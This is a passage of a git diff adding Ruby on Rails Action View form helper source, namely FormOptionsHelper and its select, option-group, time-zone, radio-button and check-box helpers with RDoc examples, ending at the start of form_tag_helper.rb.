+ # Like the other form helpers, +select+ can accept an <tt>:index</tt> option to manually set the ID used in the resulting output. Unlike other helpers, +select+ expects this
+ # option to be in the +html_options+ parameter.
+ #
+ # select("album[]", "genre", %w[rap rock country], {}, { index: nil })
+ #
+ # becomes:
+ #
+ # <select name="album[][genre]" id="album__genre">
+ # <option value="rap">rap</option>
+ # <option value="rock">rock</option>
+ # <option value="country">country</option>
+ # </select>
+ #
+ # * <tt>:disabled</tt> - can be a single value or an array of values that will be disabled options in the final output.
+ #
+ # select("post", "category", Post::CATEGORIES, {disabled: 'restricted'})
+ #
+ # could become:
+ #
+ # <select name="post[category]">
+ # <option></option>
+ # <option>joke</option>
+ # <option>poem</option>
+ # <option disabled="disabled">restricted</option>
+ # </select>
+ #
+ # When used with the <tt>collection_select</tt> helper, <tt>:disabled</tt> can also be a Proc that identifies those options that should be disabled.
+ #
+ # collection_select(:post, :category_id, Category.all, :id, :name, {disabled: lambda{|category| category.archived? }})
+ #
+ # If the categories "2008 stuff" and "Christmas" return true when the method <tt>archived?</tt> is called, this would return:
+ # <select name="post[category_id]">
+ # <option value="1" disabled="disabled">2008 stuff</option>
+ # <option value="2" disabled="disabled">Christmas</option>
+ # <option value="3">Jokes</option>
+ # <option value="4">Poems</option>
+ # </select>
+ #
+ module FormOptionsHelper
+ # ERB::Util can mask some helpers like textilize. Make sure to include them.
+ include TextHelper
+
+ # Create a select tag and a series of contained option tags for the provided object and method.
+ # The option currently held by the object will be selected, provided that the object is available.
+ #
+ # There are two possible formats for the choices parameter, corresponding to other helpers' output:
+ # * A flat collection: see options_for_select
+ # * A nested collection: see grouped_options_for_select
+ #
+ # Example with @post.person_id => 1:
+ # select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, { include_blank: true })
+ #
+ # could become:
+ #
+ # <select name="post[person_id]">
+ # <option value=""></option>
+ # <option value="1" selected="selected">David</option>
+ # <option value="2">Sam</option>
+ # <option value="3">Tobias</option>
+ # </select>
+ #
+ # This can be used to provide a default set of options in the standard way: before rendering the create form, a
+ # new model instance is assigned the default options and bound to @model_name. Usually this model is not saved
+ # to the database. Instead, a second model object is created when the create request is received.
+ # This allows the user to submit a form page more than once with the expected results of creating multiple records.
+ # In addition, this allows a single partial to be used to generate form inputs for both edit and create forms.
+ #
+ # By default, <tt>post.person_id</tt> is the selected option. Specify <tt>selected: value</tt> to use a different selection
+ # or <tt>selected: nil</tt> to leave all options unselected. Similarly, you can specify values to be disabled in the option
+ # tags by specifying the <tt>:disabled</tt> option. This can either be a single value or an array of values to be disabled.
+ #
+ # ==== Gotcha
+ #
+ # The HTML specification says when +multiple+ parameter passed to select and all options got deselected
+ # web browsers do not send any value to server. Unfortunately this introduces a gotcha:
+ # if an +User+ model has many +roles+ and have +role_ids+ accessor, and in the form that edits roles of the user
+ # the user deselects all roles from +role_ids+ multiple select box, no +role_ids+ parameter is sent. So,
+ # any mass-assignment idiom like
+ #
+ # @user.update(params[:user])
+ #
+ # wouldn't update roles.
+ #
+ # To prevent this the helper generates an auxiliary hidden field before
+ # every multiple select. The hidden field has the same name as multiple select and blank value.
+ #
+ # This way, the client either sends only the hidden field (representing
+ # the deselected multiple select box), or both fields. Since the HTML specification
+ # says key/value pairs have to be sent in the same order they appear in the
+ # form, and parameters extraction gets the last occurrence of any repeated
+ # key in the query string, that works for ordinary forms.
+ #
+ # In case if you don't want the helper to generate this hidden field you can specify
+ # <tt>include_hidden: false</tt> option.
+ #
+ def select(object, method, choices, options = {}, html_options = {})
+ Tags::Select.new(object, method, self, choices, options, html_options).render
+ end
+
+ # Returns <tt><select></tt> and <tt><option></tt> tags for the collection of existing return values of
+ # +method+ for +object+'s class. The value returned from calling +method+ on the instance +object+ will
+ # be selected. If calling +method+ returns +nil+, no selection is made without including <tt>:prompt</tt>
+ # or <tt>:include_blank</tt> in the +options+ hash.
+ #
+ # The <tt>:value_method</tt> and <tt>:text_method</tt> parameters are methods to be called on each member
+ # of +collection+. The return values are used as the +value+ attribute and contents of each
+ # <tt><option></tt> tag, respectively. They can also be any object that responds to +call+, such
+ # as a +proc+, that will be called for each member of the +collection+ to
+ # retrieve the value/text.
+ #
+ # Example object structure for use with this method:
+ #
+ # class Post < ActiveRecord::Base
+ # belongs_to :author
+ # end
+ #
+ # class Author < ActiveRecord::Base
+ # has_many :posts
+ # def name_with_initial
+ # "#{first_name.first}. #{last_name}"
+ # end
+ # end
+ #
+ # Sample usage (selecting the associated Author for an instance of Post, <tt>@post</tt>):
+ #
+ # collection_select(:post, :author_id, Author.all, :id, :name_with_initial, prompt: true)
+ #
+ # If <tt>@post.author_id</tt> is already <tt>1</tt>, this would return:
+ # <select name="post[author_id]">
+ # <option value="">Please select</option>
+ # <option value="1" selected="selected">D. Heinemeier Hansson</option>
+ # <option value="2">D. Thomas</option>
+ # <option value="3">M. Clark</option>
+ # </select>
+ def collection_select(object, method, collection, value_method, text_method, options = {}, html_options = {})
+ Tags::CollectionSelect.new(object, method, self, collection, value_method, text_method, options, html_options).render
+ end
+
+ # Returns <tt><select></tt>, <tt><optgroup></tt> and <tt><option></tt> tags for the collection of existing return values of
+ # +method+ for +object+'s class. The value returned from calling +method+ on the instance +object+ will
+ # be selected. If calling +method+ returns +nil+, no selection is made without including <tt>:prompt</tt>
+ # or <tt>:include_blank</tt> in the +options+ hash.
+ #
+ # Parameters:
+ # * +object+ - The instance of the class to be used for the select tag
+ # * +method+ - The attribute of +object+ corresponding to the select tag
+ # * +collection+ - An array of objects representing the <tt><optgroup></tt> tags.
+ # * +group_method+ - The name of a method which, when called on a member of +collection+, returns an
+ # array of child objects representing the <tt><option></tt> tags.
+ # * +group_label_method+ - The name of a method which, when called on a member of +collection+, returns a
+ # string to be used as the +label+ attribute for its <tt><optgroup></tt> tag.
+ # * +option_key_method+ - The name of a method which, when called on a child object of a member of
+ # +collection+, returns a value to be used as the +value+ attribute for its <tt><option></tt> tag.
+ # * +option_value_method+ - The name of a method which, when called on a child object of a member of
+ # +collection+, returns a value to be used as the contents of its <tt><option></tt> tag.
+ #
+ # Example object structure for use with this method:
+ #
+ # class Continent < ActiveRecord::Base
+ # has_many :countries
+ # # attribs: id, name
+ # end
+ #
+ # class Country < ActiveRecord::Base
+ # belongs_to :continent
+ # # attribs: id, name, continent_id
+ # end
+ #
+ # class City < ActiveRecord::Base
+ # belongs_to :country
+ # # attribs: id, name, country_id
+ # end
+ #
+ # Sample usage:
+ #
+ # grouped_collection_select(:city, :country_id, @continents, :countries, :name, :id, :name)
+ #
+ # Possible output:
+ #
+ # <select name="city[country_id]">
+ # <optgroup label="Africa">
+ # <option value="1">South Africa</option>
+ # <option value="3">Somalia</option>
+ # </optgroup>
+ # <optgroup label="Europe">
+ # <option value="7" selected="selected">Denmark</option>
+ # <option value="2">Ireland</option>
+ # </optgroup>
+ # </select>
+ #
+ def grouped_collection_select(object, method, collection, group_method, group_label_method, option_key_method, option_value_method, options = {}, html_options = {})
+ Tags::GroupedCollectionSelect.new(object, method, self, collection, group_method, group_label_method, option_key_method, option_value_method, options, html_options).render
+ end
+
+ # Return select and option tags for the given object and method, using
+ # #time_zone_options_for_select to generate the list of option tags.
+ #
+ # In addition to the <tt>:include_blank</tt> option documented above,
+ # this method also supports a <tt>:model</tt> option, which defaults
+ # to ActiveSupport::TimeZone. This may be used by users to specify a
+ # different time zone model object. (See +time_zone_options_for_select+
+ # for more information.)
+ #
+ # You can also supply an array of ActiveSupport::TimeZone objects
+ # as +priority_zones+, so that they will be listed above the rest of the
+ # (long) list. (You can use ActiveSupport::TimeZone.us_zones as a convenience
+ # for obtaining a list of the US time zones, or a Regexp to select the zones
+ # of your choice)
+ #
+ # Finally, this method supports a <tt>:default</tt> option, which selects
+ # a default ActiveSupport::TimeZone if the object's time zone is +nil+.
+ #
+ # time_zone_select( "user", "time_zone", nil, include_blank: true)
+ #
+ # time_zone_select( "user", "time_zone", nil, default: "Pacific Time (US & Canada)" )
+ #
+ # time_zone_select( "user", 'time_zone', ActiveSupport::TimeZone.us_zones, default: "Pacific Time (US & Canada)")
+ #
+ # time_zone_select( "user", 'time_zone', [ ActiveSupport::TimeZone['Alaska'], ActiveSupport::TimeZone['Hawaii'] ])
+ #
+ # time_zone_select( "user", 'time_zone', /Australia/)
+ #
+ # time_zone_select( "user", "time_zone", ActiveSupport::TimeZone.all.sort, model: ActiveSupport::TimeZone)
+ def time_zone_select(object, method, priority_zones = nil, options = {}, html_options = {})
+ Tags::TimeZoneSelect.new(object, method, self, priority_zones, options, html_options).render
+ end
+
+ # Accepts a container (hash, array, enumerable, your type) and returns a string of option tags. Given a container
+ # where the elements respond to first and last (such as a two-element array), the "lasts" serve as option values and
+ # the "firsts" as option text. Hashes are turned into this form automatically, so the keys become "firsts" and values
+ # become lasts. If +selected+ is specified, the matching "last" or element will get the selected option-tag. +selected+
+ # may also be an array of values to be selected when using a multiple select.
+ #
+ # options_for_select([["Dollar", "$"], ["Kroner", "DKK"]])
+ # # => <option value="$">Dollar</option>
+ # # => <option value="DKK">Kroner</option>
+ #
+ # options_for_select([ "VISA", "MasterCard" ], "MasterCard")
+ # # => <option>VISA</option>
+ # # => <option selected="selected">MasterCard</option>
+ #
+ # options_for_select({ "Basic" => "$20", "Plus" => "$40" }, "$40")
+ # # => <option value="$20">Basic</option>
+ # # => <option value="$40" selected="selected">Plus</option>
+ #
+ # options_for_select([ "VISA", "MasterCard", "Discover" ], ["VISA", "Discover"])
+ # # => <option selected="selected">VISA</option>
+ # # => <option>MasterCard</option>
+ # # => <option selected="selected">Discover</option>
+ #
+ # You can optionally provide html attributes as the last element of the array.
+ #
+ # options_for_select([ "Denmark", ["USA", {class: 'bold'}], "Sweden" ], ["USA", "Sweden"])
+ # # => <option value="Denmark">Denmark</option>
+ # # => <option value="USA" class="bold" selected="selected">USA</option>
+ # # => <option value="Sweden" selected="selected">Sweden</option>
+ #
+ # options_for_select([["Dollar", "$", {class: "bold"}], ["Kroner", "DKK", {onclick: "alert('HI');"}]])
+ # # => <option value="$" class="bold">Dollar</option>
+ # # => <option value="DKK" onclick="alert('HI');">Kroner</option>
+ #
+ # If you wish to specify disabled option tags, set +selected+ to be a hash, with <tt>:disabled</tt> being either a value
+ # or array of values to be disabled. In this case, you can use <tt>:selected</tt> to specify selected option tags.
+ #
+ # options_for_select(["Free", "Basic", "Advanced", "Super Platinum"], disabled: "Super Platinum")
+ # # => <option value="Free">Free</option>
+ # # => <option value="Basic">Basic</option>
+ # # => <option value="Advanced">Advanced</option>
+ # # => <option value="Super Platinum" disabled="disabled">Super Platinum</option>
+ #
+ # options_for_select(["Free", "Basic", "Advanced", "Super Platinum"], disabled: ["Advanced", "Super Platinum"])
+ # # => <option value="Free">Free</option>
+ # # => <option value="Basic">Basic</option>
+ # # => <option value="Advanced" disabled="disabled">Advanced</option>
+ # # => <option value="Super Platinum" disabled="disabled">Super Platinum</option>
+ #
+ # options_for_select(["Free", "Basic", "Advanced", "Super Platinum"], selected: "Free", disabled: "Super Platinum")
+ # # => <option value="Free" selected="selected">Free</option>
+ # # => <option value="Basic">Basic</option>
+ # # => <option value="Advanced">Advanced</option>
+ # # => <option value="Super Platinum" disabled="disabled">Super Platinum</option>
+ #
+ # NOTE: Only the option tags are returned, you have to wrap this call in a regular HTML select tag.
+ def options_for_select(container, selected = nil)
+ return container if String === container
+
+ selected, disabled = extract_selected_and_disabled(selected).map do |r|
+ Array(r).map { |item| item.to_s }
+ end
+
+ container.map do |element|
+ html_attributes = option_html_attributes(element)
+ text, value = option_text_and_value(element).map { |item| item.to_s }
+
+ html_attributes[:selected] = 'selected' if option_value_selected?(value, selected)
+ html_attributes[:disabled] = 'disabled' if disabled && option_value_selected?(value, disabled)
+ html_attributes[:value] = value
+
+ content_tag_string(:option, text, html_attributes)
+ end.join("\n").html_safe
+ end
+
+ # Returns a string of option tags that have been compiled by iterating over the +collection+ and assigning
+ # the result of a call to the +value_method+ as the option value and the +text_method+ as the option text.
+ #
+ # options_from_collection_for_select(@people, 'id', 'name')
+ # # => <option value="#{person.id}">#{person.name}</option>
+ #
+ # This is more often than not used inside a #select_tag like this example:
+ #
+ # select_tag 'person', options_from_collection_for_select(@people, 'id', 'name')
+ #
+ # If +selected+ is specified as a value or array of values, the element(s) returning a match on +value_method+
+ # will be selected option tag(s).
+ #
+ # If +selected+ is specified as a Proc, those members of the collection that return true for the anonymous
+ # function are the selected values.
+ #
+ # +selected+ can also be a hash, specifying both <tt>:selected</tt> and/or <tt>:disabled</tt> values as required.
+ #
+ # Be sure to specify the same class as the +value_method+ when specifying selected or disabled options.
+ # Failure to do this will produce undesired results. Example:
+ # options_from_collection_for_select(@people, 'id', 'name', '1')
+ # Will not select a person with the id of 1 because 1 (an Integer) is not the same as '1' (a string)
+ # options_from_collection_for_select(@people, 'id', 'name', 1)
+ # should produce the desired results.
+ def options_from_collection_for_select(collection, value_method, text_method, selected = nil)
+ options = collection.map do |element|
+ [value_for_collection(element, text_method), value_for_collection(element, value_method), option_html_attributes(element)]
+ end
+ selected, disabled = extract_selected_and_disabled(selected)
+ select_deselect = {
+ :selected => extract_values_from_collection(collection, value_method, selected),
+ :disabled => extract_values_from_collection(collection, value_method, disabled)
+ }
+
+ options_for_select(options, select_deselect)
+ end
+
+ # Returns a string of <tt><option></tt> tags, like <tt>options_from_collection_for_select</tt>, but
+ # groups them by <tt><optgroup></tt> tags based on the object relationships of the arguments.
+ #
+ # Parameters:
+ # * +collection+ - An array of objects representing the <tt><optgroup></tt> tags.
+ # * +group_method+ - The name of a method which, when called on a member of +collection+, returns an
+ # array of child objects representing the <tt><option></tt> tags.
+ # * group_label_method+ - The name of a method which, when called on a member of +collection+, returns a
+ # string to be used as the +label+ attribute for its <tt><optgroup></tt> tag.
+ # * +option_key_method+ - The name of a method which, when called on a child object of a member of
+ # +collection+, returns a value to be used as the +value+ attribute for its <tt><option></tt> tag.
+ # * +option_value_method+ - The name of a method which, when called on a child object of a member of
+ # +collection+, returns a value to be used as the contents of its <tt><option></tt> tag.
+ # * +selected_key+ - A value equal to the +value+ attribute for one of the <tt><option></tt> tags,
+ # which will have the +selected+ attribute set. Corresponds to the return value of one of the calls
+ # to +option_key_method+. If +nil+, no selection is made. Can also be a hash if disabled values are
+ # to be specified.
+ #
+ # Example object structure for use with this method:
+ #
+ # class Continent < ActiveRecord::Base
+ # has_many :countries
+ # # attribs: id, name
+ # end
+ #
+ # class Country < ActiveRecord::Base
+ # belongs_to :continent
+ # # attribs: id, name, continent_id
+ # end
+ #
+ # Sample usage:
+ # option_groups_from_collection_for_select(@continents, :countries, :name, :id, :name, 3)
+ #
+ # Possible output:
+ # <optgroup label="Africa">
+ # <option value="1">Egypt</option>
+ # <option value="4">Rwanda</option>
+ # ...
+ # </optgroup>
+ # <optgroup label="Asia">
+ # <option value="3" selected="selected">China</option>
+ # <option value="12">India</option>
+ # <option value="5">Japan</option>
+ # ...
+ # </optgroup>
+ #
+ # <b>Note:</b> Only the <tt><optgroup></tt> and <tt><option></tt> tags are returned, so you still have to
+ # wrap the output in an appropriate <tt><select></tt> tag.
+ def option_groups_from_collection_for_select(collection, group_method, group_label_method, option_key_method, option_value_method, selected_key = nil)
+ collection.map do |group|
+ option_tags = options_from_collection_for_select(
+ group.send(group_method), option_key_method, option_value_method, selected_key)
+
+ content_tag(:optgroup, option_tags, :label => group.send(group_label_method))
+ end.join.html_safe
+ end
+
+ # Returns a string of <tt><option></tt> tags, like <tt>options_for_select</tt>, but
+ # wraps them with <tt><optgroup></tt> tags.
+ #
+ # Parameters:
+ # * +grouped_options+ - Accepts a nested array or hash of strings. The first value serves as the
+ # <tt><optgroup></tt> label while the second value must be an array of options. The second value can be a
+ # nested array of text-value pairs. See <tt>options_for_select</tt> for more info.
+ # Ex. ["North America",[["United States","US"],["Canada","CA"]]]
+ # * +selected_key+ - A value equal to the +value+ attribute for one of the <tt><option></tt> tags,
+ # which will have the +selected+ attribute set. Note: It is possible for this value to match multiple options
+ # as you might have the same option in multiple groups. Each will then get <tt>selected="selected"</tt>.
+ #
+ # Options:
+ # * <tt>:prompt</tt> - set to true or a prompt string. When the select element doesn't have a value yet, this
+ # prepends an option with a generic prompt - "Please select" - or the given prompt string.
+ # * <tt>:divider</tt> - the divider for the options groups.
+ #
+ # grouped_options = [
+ # ['North America',
+ # [['United States','US'],'Canada']],
+ # ['Europe',
+ # ['Denmark','Germany','France']]
+ # ]
+ # grouped_options_for_select(grouped_options)
+ #
+ # grouped_options = {
+ # 'North America' => [['United States','US'], 'Canada'],
+ # 'Europe' => ['Denmark','Germany','France']
+ # }
+ # grouped_options_for_select(grouped_options)
+ #
+ # Possible output:
+ # <optgroup label="North America">
+ # <option value="US">United States</option>
+ # <option value="Canada">Canada</option>
+ # </optgroup>
+ # <optgroup label="Europe">
+ # <option value="Denmark">Denmark</option>
+ # <option value="Germany">Germany</option>
+ # <option value="France">France</option>
+ # </optgroup>
+ #
+ # grouped_options = [
+ # [['United States','US'], 'Canada'],
+ # ['Denmark','Germany','France']
+ # ]
+ # grouped_options_for_select(grouped_options, nil, divider: '---------')
+ #
+ # Possible output:
+ # <optgroup label="---------">
+ # <option value="US">United States</option>
+ # <option value="Canada">Canada</option>
+ # </optgroup>
+ # <optgroup label="---------">
+ # <option value="Denmark">Denmark</option>
+ # <option value="Germany">Germany</option>
+ # <option value="France">France</option>
+ # </optgroup>
+ #
+ # <b>Note:</b> Only the <tt><optgroup></tt> and <tt><option></tt> tags are returned, so you still have to
+ # wrap the output in an appropriate <tt><select></tt> tag.
+ def grouped_options_for_select(grouped_options, selected_key = nil, options = {})
+ if options.is_a?(Hash)
+ prompt = options[:prompt]
+ divider = options[:divider]
+ else
+ prompt = options
+ options = {}
+ message = "Passing the prompt to grouped_options_for_select as an argument is deprecated. " \
+ "Please use an options hash like `{ prompt: #{prompt.inspect} }`."
+ ActiveSupport::Deprecation.warn message
+ end
+
+ body = "".html_safe
+
+ if prompt
+ body.safe_concat content_tag(:option, prompt_text(prompt), :value => "")
+ end
+
+ grouped_options.each do |container|
+ if divider
+ label = divider
+ else
+ label, container = container
+ end
+ body.safe_concat content_tag(:optgroup, options_for_select(container, selected_key), :label => label)
+ end
+
+ body
+ end
+
+ # Returns a string of option tags for pretty much any time zone in the
+ # world. Supply a ActiveSupport::TimeZone name as +selected+ to have it
+ # marked as the selected option tag. You can also supply an array of
+ # ActiveSupport::TimeZone objects as +priority_zones+, so that they will
+ # be listed above the rest of the (long) list. (You can use
+ # ActiveSupport::TimeZone.us_zones as a convenience for obtaining a list
+ # of the US time zones, or a Regexp to select the zones of your choice)
+ #
+ # The +selected+ parameter must be either +nil+, or a string that names
+ # a ActiveSupport::TimeZone.
+ #
+ # By default, +model+ is the ActiveSupport::TimeZone constant (which can
+ # be obtained in Active Record as a value object). The only requirement
+ # is that the +model+ parameter be an object that responds to +all+, and
+ # returns an array of objects that represent time zones.
+ #
+ # NOTE: Only the option tags are returned, you have to wrap this call in
+ # a regular HTML select tag.
+ def time_zone_options_for_select(selected = nil, priority_zones = nil, model = ::ActiveSupport::TimeZone)
+ zone_options = "".html_safe
+
+ zones = model.all
+ convert_zones = lambda { |list| list.map { |z| [ z.to_s, z.name ] } }
+
+ if priority_zones
+ if priority_zones.is_a?(Regexp)
+ priority_zones = zones.select { |z| z =~ priority_zones }
+ end
+
+ zone_options.safe_concat options_for_select(convert_zones[priority_zones], selected)
+ zone_options.safe_concat content_tag(:option, '-------------', :value => '', :disabled => 'disabled')
+ zone_options.safe_concat "\n"
+
+ zones = zones - priority_zones
+ end
+
+ zone_options.safe_concat options_for_select(convert_zones[zones], selected)
+ end
+
+ # Returns radio button tags for the collection of existing return values
+ # of +method+ for +object+'s class. The value returned from calling
+ # +method+ on the instance +object+ will be selected. If calling +method+
+ # returns +nil+, no selection is made.
+ #
+ # The <tt>:value_method</tt> and <tt>:text_method</tt> parameters are
+ # methods to be called on each member of +collection+. The return values
+ # are used as the +value+ attribute and contents of each radio button tag,
+ # respectively. They can also be any object that responds to +call+, such
+ # as a +proc+, that will be called for each member of the +collection+ to
+ # retrieve the value/text.
+ #
+ # Example object structure for use with this method:
+ # class Post < ActiveRecord::Base
+ # belongs_to :author
+ # end
+ # class Author < ActiveRecord::Base
+ # has_many :posts
+ # def name_with_initial
+ # "#{first_name.first}. #{last_name}"
+ # end
+ # end
+ #
+ # Sample usage (selecting the associated Author for an instance of Post, <tt>@post</tt>):
+ # collection_radio_buttons(:post, :author_id, Author.all, :id, :name_with_initial)
+ #
+ # If <tt>@post.author_id</tt> is already <tt>1</tt>, this would return:
+ # <input id="post_author_id_1" name="post[author_id]" type="radio" value="1" checked="checked" />
+ # <label for="post_author_id_1">D. Heinemeier Hansson</label>
+ # <input id="post_author_id_2" name="post[author_id]" type="radio" value="2" />
+ # <label for="post_author_id_2">D. Thomas</label>
+ # <input id="post_author_id_3" name="post[author_id]" type="radio" value="3" />
+ # <label for="post_author_id_3">M. Clark</label>
+ #
+ # It is also possible to customize the way the elements will be shown by
+ # giving a block to the method:
+ # collection_radio_buttons(:post, :author_id, Author.all, :id, :name_with_initial) do |b|
+ # b.label { b.radio_button }
+ # end
+ #
+ # The argument passed to the block is a special kind of builder for this
+ # collection, which has the ability to generate the label and radio button
+ # for the current item in the collection, with proper text and value.
+ # Using it, you can change the label and radio button display order or
+ # even use the label as wrapper, as in the example above.
+ #
+ # The builder methods <tt>label</tt> and <tt>radio_button</tt> also accept
+ # extra html options:
+ # collection_radio_buttons(:post, :author_id, Author.all, :id, :name_with_initial) do |b|
+ # b.label(class: "radio_button") { b.radio_button(class: "radio_button") }
+ # end
+ #
+ # There are also three special methods available: <tt>object</tt>, <tt>text</tt> and
+ # <tt>value</tt>, which are the current item being rendered, its text and value methods,
+ # respectively. You can use them like this:
+ # collection_radio_buttons(:post, :author_id, Author.all, :id, :name_with_initial) do |b|
+ # b.label(:"data-value" => b.value) { b.radio_button + b.text }
+ # end
+ def collection_radio_buttons(object, method, collection, value_method, text_method, options = {}, html_options = {}, &block)
+ Tags::CollectionRadioButtons.new(object, method, self, collection, value_method, text_method, options, html_options).render(&block)
+ end
+
+ # Returns check box tags for the collection of existing return values of
+ # +method+ for +object+'s class. The value returned from calling +method+
+ # on the instance +object+ will be selected. If calling +method+ returns
+ # +nil+, no selection is made.
+ #
+ # The <tt>:value_method</tt> and <tt>:text_method</tt> parameters are
+ # methods to be called on each member of +collection+. The return values
+ # are used as the +value+ attribute and contents of each check box tag,
+ # respectively. They can also be any object that responds to +call+, such
+ # as a +proc+, that will be called for each member of the +collection+ to
+ # retrieve the value/text.
+ #
+ # Example object structure for use with this method:
+ # class Post < ActiveRecord::Base
+ # has_and_belongs_to_many :author
+ # end
+ # class Author < ActiveRecord::Base
+ # has_and_belongs_to_many :posts
+ # def name_with_initial
+ # "#{first_name.first}. #{last_name}"
+ # end
+ # end
+ #
+ # Sample usage (selecting the associated Author for an instance of Post, <tt>@post</tt>):
+ # collection_check_boxes(:post, :author_ids, Author.all, :id, :name_with_initial)
+ #
+ # If <tt>@post.author_ids</tt> is already <tt>[1]</tt>, this would return:
+ # <input id="post_author_ids_1" name="post[author_ids][]" type="checkbox" value="1" checked="checked" />
+ # <label for="post_author_ids_1">D. Heinemeier Hansson</label>
+ # <input id="post_author_ids_2" name="post[author_ids][]" type="checkbox" value="2" />
+ # <label for="post_author_ids_2">D. Thomas</label>
+ # <input id="post_author_ids_3" name="post[author_ids][]" type="checkbox" value="3" />
+ # <label for="post_author_ids_3">M. Clark</label>
+ # <input name="post[author_ids][]" type="hidden" value="" />
+ #
+ # It is also possible to customize the way the elements will be shown by
+ # giving a block to the method:
+ # collection_check_boxes(:post, :author_ids, Author.all, :id, :name_with_initial) do |b|
+ # b.label { b.check_box }
+ # end
+ #
+ # The argument passed to the block is a special kind of builder for this
+ # collection, which has the ability to generate the label and check box
+ # for the current item in the collection, with proper text and value.
+ # Using it, you can change the label and check box display order or even
+ # use the label as wrapper, as in the example above.
+ #
+ # The builder methods <tt>label</tt> and <tt>check_box</tt> also accept
+ # extra html options:
+ # collection_check_boxes(:post, :author_ids, Author.all, :id, :name_with_initial) do |b|
+ # b.label(class: "check_box") { b.check_box(class: "check_box") }
+ # end
+ #
+ # There are also three special methods available: <tt>object</tt>, <tt>text</tt> and
+ # <tt>value</tt>, which are the current item being rendered, its text and value methods,
+ # respectively. You can use them like this:
+ # collection_check_boxes(:post, :author_ids, Author.all, :id, :name_with_initial) do |b|
+ # b.label(:"data-value" => b.value) { b.check_box + b.text }
+ # end
+ def collection_check_boxes(object, method, collection, value_method, text_method, options = {}, html_options = {}, &block)
+ Tags::CollectionCheckBoxes.new(object, method, self, collection, value_method, text_method, options, html_options).render(&block)
+ end
+
+ private
+ def option_html_attributes(element)
+ if Array === element
+ element.select { |e| Hash === e }.reduce({}, :merge!)
+ else
+ {}
+ end
+ end
+
+ def option_text_and_value(option)
+ # Options are [text, value] pairs or strings used for both.
+ if !option.is_a?(String) && option.respond_to?(:first) && option.respond_to?(:last)
+ option = option.reject { |e| Hash === e } if Array === option
+ [option.first, option.last]
+ else
+ [option, option]
+ end
+ end
+
+ def option_value_selected?(value, selected)
+ Array(selected).include? value
+ end
+
+ def extract_selected_and_disabled(selected)
+ if selected.is_a?(Proc)
+ [selected, nil]
+ else
+ selected = Array.wrap(selected)
+ options = selected.extract_options!.symbolize_keys
+ selected_items = options.fetch(:selected, selected)
+ [selected_items, options[:disabled]]
+ end
+ end
+
+ def extract_values_from_collection(collection, value_method, selected)
+ if selected.is_a?(Proc)
+ collection.map do |element|
+ element.send(value_method) if selected.call(element)
+ end.compact
+ else
+ selected
+ end
+ end
+
+ def value_for_collection(item, value)
+ value.respond_to?(:call) ? value.call(item) : item.send(value)
+ end
+
+ def prompt_text(prompt)
+ prompt.kind_of?(String) ? prompt : I18n.translate('helpers.select.prompt', :default => 'Please select')
+ end
+ end
+
+ class FormBuilder
+ # Wraps ActionView::Helpers::FormOptionsHelper#select for form builders:
+ #
+ # <%= form_for @post do |f| %>
+ # <%= f.select :person_id, Person.all.collect {|p| [ p.name, p.id ] }, { include_blank: true }) %>
+ # <%= f.submit %>
+ # <% end %>
+ #
+ # Please refer to the documentation of the base helper for details.
+ def select(method, choices, options = {}, html_options = {})
+ @template.select(@object_name, method, choices, objectify_options(options), @default_options.merge(html_options))
+ end
+
+ # Wraps ActionView::Helpers::FormOptionsHelper#collection_select for form builders:
+ #
+ # <%= form_for @post do |f| %>
+ # <%= f.collection_select :person_id, Author.all, :id, :name_with_initial, prompt: true %>
+ # <%= f.submit %>
+ # <% end %>
+ #
+ # Please refer to the documentation of the base helper for details.
+ def collection_select(method, collection, value_method, text_method, options = {}, html_options = {})
+ @template.collection_select(@object_name, method, collection, value_method, text_method, objectify_options(options), @default_options.merge(html_options))
+ end
+
+ # Wraps ActionView::Helpers::FormOptionsHelper#grouped_collection_select for form builders:
+ #
+ # <%= form_for @city do |f| %>
+ # <%= f.grouped_collection_select :country_id, :country_id, @continents, :countries, :name, :id, :name %>
+ # <%= f.submit %>
+ # <% end %>
+ #
+ # Please refer to the documentation of the base helper for details.
+ def grouped_collection_select(method, collection, group_method, group_label_method, option_key_method, option_value_method, options = {}, html_options = {})
+ @template.grouped_collection_select(@object_name, method, collection, group_method, group_label_method, option_key_method, option_value_method, objectify_options(options), @default_options.merge(html_options))
+ end
+
+ # Wraps ActionView::Helpers::FormOptionsHelper#time_zone_select for form builders:
+ #
+ # <%= form_for @user do |f| %>
+ # <%= f.time_zone_select :time_zone, nil, include_blank: true %>
+ # <%= f.submit %>
+ # <% end %>
+ #
+ # Please refer to the documentation of the base helper for details.
+ def time_zone_select(method, priority_zones = nil, options = {}, html_options = {})
+ @template.time_zone_select(@object_name, method, priority_zones, objectify_options(options), @default_options.merge(html_options))
+ end
+
+ # Wraps ActionView::Helpers::FormOptionsHelper#collection_check_boxes for form builders:
+ #
+ # <%= form_for @post do |f| %>
+ # <%= f.collection_check_boxes :author_ids, Author.all, :id, :name_with_initial %>
+ # <%= f.submit %>
+ # <% end %>
+ #
+ # Please refer to the documentation of the base helper for details.
+ def collection_check_boxes(method, collection, value_method, text_method, options = {}, html_options = {}, &block)
+ @template.collection_check_boxes(@object_name, method, collection, value_method, text_method, objectify_options(options), @default_options.merge(html_options), &block)
+ end
+
+ # Wraps ActionView::Helpers::FormOptionsHelper#collection_radio_buttons for form builders:
+ #
+ # <%= form_for @post do |f| %>
+ # <%= f.collection_radio_buttons :author_id, Author.all, :id, :name_with_initial %>
+ # <%= f.submit %>
+ # <% end %>
+ #
+ # Please refer to the documentation of the base helper for details.
+ def collection_radio_buttons(method, collection, value_method, text_method, options = {}, html_options = {}, &block)
+ @template.collection_radio_buttons(@object_name, method, collection, value_method, text_method, objectify_options(options), @default_options.merge(html_options), &block)
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/form_tag_helper.rb b/actionpack/lib/action_view/helpers/form_tag_helper.rb
new file mode 100644
index 0000000..8abd5d6
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/form_tag_helper.rb
@@ -0,0 +1,785 @@
+require 'cgi'
+require 'action_view/helpers/tag_helper'
+require 'active_support/core_ext/string/output_safety'
+require 'active_support/core_ext/module/attribute_accessors'
+
+module ActionView
+ # = Action View Form Tag Helpers
+ module Helpers
+ # Provides a number of methods for creating form tags that don't rely on an Active Record object assigned to the template like
+ # FormHelper does. Instead, you provide the names and values manually.
+ #
+ # NOTE: The HTML options <tt>disabled</tt>, <tt>readonly</tt>, and <tt>multiple</tt> can all be treated as booleans. So specifying
+ # <tt>disabled: true</tt> will give <tt>disabled="disabled"</tt>.
+ module FormTagHelper
